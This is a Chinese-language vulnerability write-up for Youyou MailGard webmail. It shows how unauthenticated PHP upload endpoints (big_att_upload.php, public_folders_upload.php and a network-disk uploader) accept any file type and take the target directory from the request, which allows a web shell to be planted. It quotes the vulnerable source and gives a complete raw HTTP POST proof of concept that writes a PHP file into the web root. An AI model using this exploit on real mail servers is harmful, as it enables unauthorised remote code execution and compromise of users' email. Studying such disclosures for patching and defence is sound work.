佑友mailgard webmail任意文件上传导致getshell

一、某些文件存在越权访问（无需登录即可访问）
没有包含根目录下global.php的文件，都可以直接访问不会跳转到登陆界面

于是查找可能存在越权访问的文件：

$ find -name "*.php" | xargs grep -L -E "^require_once.+(/././/global|[^/]global)/.php.+;$"

剔除掉无用的文件，留下几个有意思的php文件：

./overflow_alarm.php ./sms_send.php ./src/old.rule.php ./src/public_folders_upload.php ./src/big_attach.php ./src/big_att_upload.php ./src/read_data.php ./src/upload.php ./sync/linkman.php

二、代码问题导致任意文件上传
瞅瞅/src/big_att_upload.php的代码，为了保护程序猿，咱打上马赛克哈

<?php   require_once('../config/config.php'); require_once('../functions/global.php');   if (isset($_POST["PHPSESSID"])) {  session_id($_POST["PHPSESSID"]); }   $realDir = realPath($_POST['dir']).'/';  $goexpr = true; if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {  $fStr = $_FILES["Filedata"]["name"]; //后缀总是要判断下的吧~  $fSize = getUnitSpace($_FILES["Filedata"]["size"]);  $fArr = explode('.', $fStr);  $fSuffix = end($fArr);  $fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));  $movefile = $realDir.$fStr;  $auton = 0;  while($goexpr){   if(is_file($movefile) && $_POST['attachType'] == 'big_att'){    $movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;    $fStr = $fPrefix.'('.$auton.').'.$fSuffix;    $auton++;   }else{    $goexpr = false;   }  }     if(move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile)){   if($_POST['attachType'] == 'big_att'){    echo 'big_att:'.$fStr.':'.$fSize;exit;   }else{    echo '1';exit;  //成功就输出1   }  }  } ?>

这也是醉了，不仅有越权访问，而且上传还木有任何后缀限制
直接上传把filename对应文件放到realPath($_POST['dir']).'/'下

POST http://mail.0day5.com:889/src/big_att_upload.php HTTP/1.1 Host: mail.0day5.com:889 Connection: keep-alive Content-Length: 658 Origin: http://mail.0day5.com:889 X-Requested-With: ShockwaveFlash/16.0.0.305 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36 Content-Type: multipart/form-data; boundary=----------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Accept: */* Referer: http://mail.0day5.com:889/src/write_mail.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4 Cookie: PHPSESSID=outb98m2mckt5a03pejd1aqra0; _HICOM[LANGUAGE]=zh-cn  ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="Filename"  vultest.php ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="PHPSESSID"  outb98m2mckt5a03pejd1aqra0 ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="dir"  /var/www/newmail/ ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="Filedata"; filename="vultest.php" Content-Type: application/octet-stream  12345 ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5 Content-Disposition: form-data; name="Upload"  Submit Query ------------ei4gL6ae0Ef1GI3ei4KM7ei4Ef1Ij5--

还有2个上传点也是一样的问题，realpath支持..

<?php  /*  +-----------------------------------------------------------------------+  | Author:                                                               |  +-----------------------------------------------------------------------+ */  require_once('../config/config.php'); // 网络硬盘 // Work-around for setting up a session because Flash Player doesn't send the cookies if (isset($_POST["PHPSESSID"])) {  session_id($_POST["PHPSESSID"]); }  $netDiskDir = HM_BOXS.$_POST['netDiskDir'];   $realDir = realPath($netDiskDir.'/'.$_POST['curDir']).'/'; if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {  $_FILES["Filedata"] = $_FILES["Filedata2"]; }  $goexpr = true; if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {  $fStr = $_FILES["Filedata"]["name"];  $fArr = explode('.', $fStr);  $fSuffix = end($fArr);  $fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));  $movefile = $realDir.$fStr;  $auton = 0;  while($goexpr){   if(is_file($movefile)){    $movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;    $auton++;   }else{    $goexpr = false;   }  }  move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile); }  if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) {  echo 'document.getElementById("show_Filedata2").innerHTML = /'<input type="file" id="Filedata2" name="Filedata2">/';document.getElementById("PHPUploadProgress").style.display = "none";document.getElementById("PHPUploadCompose").style.display = "";';  } echo ''; exit; ?>

/var/www/newmail/src/public_folders_upload.php：（realpath支持../)

<?php  require_once('../config/config.php'); // 公共文件夹 // Work-around for setting up a session because Flash Player doesn't send the cookies if (isset($_POST["PHPSESSID"])) {  session_id($_POST["PHPSESSID"]); }  $pubDir = HM_BOXS.$_POST['pubDir']; $realDir = realPath($pubDir.'/'.$_POST['curDir']).'/'; if (!isset($_FILES["Filedata"]) || !is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] != 0) {  $_FILES["Filedata"] = $_FILES["Filedata2"]; }  $goexpr = true; if (isset($_FILES["Filedata"]) || is_uploaded_file($_FILES["Filedata"]["tmp_name"]) || $_FILES["Filedata"]["error"] == 0) {  $fStr = $_FILES["Filedata"]["name"];  $fArr = explode('.', $fStr);  $fSuffix = end($fArr);  $fPrefix = substr($fStr, 0, -(strlen($fSuffix)+1));  $movefile = $realDir.$fStr;  $auton = 0;  while($goexpr){   if(is_file($movefile)){    $movefile = $realDir.$fPrefix.'('.$auton.').'.$fSuffix;    $auton++;   }else{    $goexpr = false;   }  }  move_uploaded_file($_FILES["Filedata"]["tmp_name"], $movefile);  exit; }  if (isset($_FILES["Filedata2"]) || is_uploaded_file($_FILES["Filedata2"]["tmp_name"]) || $_FILES["Filedata2"]["error"] == 0) {  echo '<script type="text/javascript">parent.document.getElementById("show_Filedata2").innerHTML = /'<input type="file" id="Filedata2" name="Filedata2">/';parent.document.getElementById("PHPUploadProgress").style.display = "none";parent.document.getElementById("PHPUploadCompose").style.display = "";</script>'; } echo ''; exit; ?>